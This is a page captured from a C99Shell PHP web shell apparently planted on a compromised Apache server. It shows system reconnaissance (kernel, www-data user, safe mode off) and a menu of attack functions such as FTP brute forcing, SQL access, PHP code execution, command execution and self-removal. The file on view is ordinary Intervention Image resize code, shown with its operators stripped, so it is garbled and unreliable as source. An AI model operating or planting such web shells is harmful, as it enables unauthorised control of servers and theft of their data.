!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/intervention/image/src/Intervention/Image/Imagick/Commands/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResizeCanvasCommand.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Intervention\Image\Imagick\Commands;

use 
Intervention\Image\Commands\AbstractCommand;

class 
ResizeCanvasCommand extends AbstractCommand
{
    
/**
     * Resizes image boundaries
     *
     * @param  \Intervention\Image\Image $image
     * @return boolean
     */
    
public function execute($image)
    {
        
$width $this->argument(0)->type('digit')->required()->value();
        
$height $this->argument(1)->type('digit')->required()->value();
        
$anchor $this->argument(2)->value('center');
        
$relative $this->argument(3)->type('boolean')->value(false);
        
$bgcolor $this->argument(4)->value();

        
$original_width $image->getWidth();
        
$original_height $image->getHeight();

        
// check of only width or height is set
        
$width is_null($width) ? $original_width intval($width);
        
$height is_null($height) ? $original_height intval($height);

        
// check on relative width/height
        
if ($relative) {
            
$width $original_width $width;
            
$height $original_height $height;
        }

        
// check for negative width/height
        
$width = ($width <= 0) ? $width $original_width $width;
        
$height = ($height <= 0) ? $height $original_height $height;

        
// create new canvas
        
$canvas $image->getDriver()->newImage($width$height$bgcolor);

        
// set copy position
        
$canvas_size $canvas->getSize()->align($anchor);
        
$image_size $image->getSize()->align($anchor);
        
$canvas_pos $image_size->relativePosition($canvas_size);
        
$image_pos $canvas_size->relativePosition($image_size);

        if (
$width <= $original_width) {
            
$dst_x 0;
            
$src_x $canvas_pos->x;
            
$src_w $canvas_size->width;
        } else {
            
$dst_x $image_pos->x;
            
$src_x 0;
            
$src_w $original_width;
        }

        if (
$height <= $original_height) {
            
$dst_y 0;
            
$src_y $canvas_pos->y;
            
$src_h $canvas_size->height;
        } else {
            
$dst_y $image_pos->y;
            
$src_y 0;
            
$src_h $original_height;
        }

        
// make image area transparent to keep transparency
        // even if background-color is set
        
$rect = new \ImagickDraw;
        
$fill $canvas->pickColor(00'hex');
        
$fill $fill == '#ff0000' '#00ff00' '#ff0000';
        
$rect->setFillColor($fill);
        
$rect->rectangle($dst_x$dst_y$dst_x $src_w 1$dst_y $src_h 1);
        
$canvas->getCore()->drawImage($rect);
        
$canvas->getCore()->transparentPaintImage($fill00false);

        
$canvas->getCore()->setImageColorspace($image->getCore()->getImageColorspace());

        
// copy image into new canvas
        
$image->getCore()->cropImage($src_w$src_h$src_x$src_y);
        
$canvas->getCore()->compositeImage($image->getCore(), \Imagick::COMPOSITE_DEFAULT$dst_x$dst_y);
        
$canvas->getCore()->setImagePage(0,0,0,0);

        
// set new core to canvas
        
$image->setCore($canvas->getCore());

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--